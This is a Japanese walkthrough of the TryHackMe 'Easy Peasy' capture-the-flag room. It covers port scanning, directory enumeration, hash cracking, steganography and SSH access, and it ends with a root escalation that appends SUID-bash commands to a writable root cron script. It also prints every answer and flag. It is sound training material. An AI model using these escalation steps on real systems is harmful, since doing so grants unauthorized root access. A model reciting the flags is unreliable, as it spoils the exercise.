概要
TryHackMe「Easy Peasy」のWalkthroughです。
Task1
Q1.How many ports are open?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.250.191 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-title: Welcome to nginx!
| http-robots.txt: 1 disallowed entry
|_/
6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.43 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | nginx 1.16.1 |
6498 | ssh | OpenSSH 7.6p1 |
65524 | http | Apache httpd 2.4.43 |
A.3
Q2.What is the version of nginx?
nmapのスキャン結果からバージョン情報を得られました。
A.1.16.1
Q3.What is running on the highest port?
ポートスキャンでApacheが65524
ポートで動作していると分かりました。
A.Apache
Task2
Q1.Using GoBuster, find flag 1.
gobuster
でディレクトリの列挙を行います。
$ gobuster dir -u http://10.10.250.191 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
/hidden (Status: 301) [Size: 169] [--> http://10.10.250.191/hidden/]
/index.html (Status: 200) [Size: 612]
/robots.txt (Status: 200) [Size: 43]
/hidden
ディレクトリを発見しました。
更にその配下を列挙を行います。
$ gobuster dir -u http://10.10.250.191/hidden -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
/index.html (Status: 200) [Size: 390]
/whatever (Status: 301) [Size: 169] [--> http://10.10.250.191/hidden/whatever/]
/hidden/whatever
を発見したのでアクセスするとbase64
でエンコードされた文字列を得られました。
デコードしてフラグを入手できます。
$ echo "ZmxhZ3tmMXJzN19mbDRnfQ==" | base64 -d
flag{f1rs7_fl4g}
A.flag{f1rs7_fl4g}
Q2.Further enumerate the machine, what is flag 2?
65524
の/robots.txt
を見るとハッシュ化された文字列を発見しました。
User-Agent:*
Disallow:/
Robots Not Allowed
User-Agent:a18672860d0510e5ab6699730763b250
Allow:/
This Flag Can Enter But Only This Flag No More Exceptions
下記サイトでハッシュ値を解析してフラグゲットです。
A.flag{1m_s3c0nd_fl4g}
Q3.Crack the hash with easypeasy.txt, What is the flag 3?
Apacheのページからフラグを入手できます。
A.flag{9fdafbd64c47471a8f54cd3fc64cd312}
Q4.What is the hidden directory?
65524
ポートのインデックスページから文字列を発見しました。
base?
でエンコードされているようです。
base62
でデコードするとパスを発見しました。
A./n0th1ng3ls3m4tt3r
Q5.what is the password?
Hint.GOST Hash john --wordlist=easypeasy.txt --format=gost hash (optional* Delete duplicated lines,Compare easypeasy.txt to rockyou.txt and delete same words)
/n0th1ng3ls3m4tt3r
へアクセスすると文字列と画像を発見しました。
JohnTheRipper
で文字列を解析するとパスワードを発見しました。
$ john q5 --wordlist=easypeasy_1596838725703.txt --format=gost
mypasswordforthatjob (?)
A.mypasswordforthatjob
Q6.What is the password to login to the machine via SSH?
ステガノグラフィーを考えます。
画像を保存して得られたパスワードでファイルの抽出を試みると成功しました。
$ steghide extract -sf binarycodepixabay.jpg
Enter passphrase:
wrote extracted data to "secrettext.txt".
secrettext.txt
にはユーザー名とパスワードのバイナリがありました。
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
デコードしてパスワードを得られました。
A.iconvertedmypasswordtobinary
Q7.What is the user flag?
SSH接続します。
$ ssh -p 6498 boring@10.10.250.191
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
boring@10.10.250.191's password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
boring@kral4-PC:~$
/home/boring/user.txt
には間違ったフラグがありました。
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
文言をヒントにROT13でデコードするとフラグを入手できます。
A.flag{n0wits33msn0rm4l}
Q8.What is the root flag?
プロセスを確認するとクロンジョブが気になりました。
$ ps u -A
/usr/sbin/cron -f
クロンジョブを確認すると/var/www/.mysecretcronjob.sh
を実行していると分かりました。
$ cat /etc/crontab
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
スクリプトの内容は無く、編集権限もあります。
$ cat /var/www/.mysecretcronjob.sh
#!/bin/bash
# i will run as root
$ ls -l /var/www/.mysecretcronjob.sh
-rwxr-xr-x 1 boring boring 33 Jun 14 2020 /var/www/.mysecretcronjob.sh
権限昇格のスクリプトを追加します。
$ echo "cp /bin/bash /tmp/bash" >> /var/www/.mysecretcronjob.sh
$ echo "chmod u+s /tmp/bash" >> /var/www/.mysecretcronjob.sh
クロンジョブが走るとSUIDが設定された/tmp/bash
を確認できます。
$ ls -l /tmp/
total 1104
-rwsr-xr-x 1 root root 1113504 Jul 17 17:45 bash
root権限を得られました。
$ /tmp/bash -p
bash-4.4# whoami
root
フラグファイルを検索します。
# find / -name *root.txt* 2>/dev/null
/root/.root.txt
/root/.root.txt
からフラグを入手できます。
flag{63a9f0ea7bb98050796b649e85481845}
A.flag{63a9f0ea7bb98050796b649e85481845}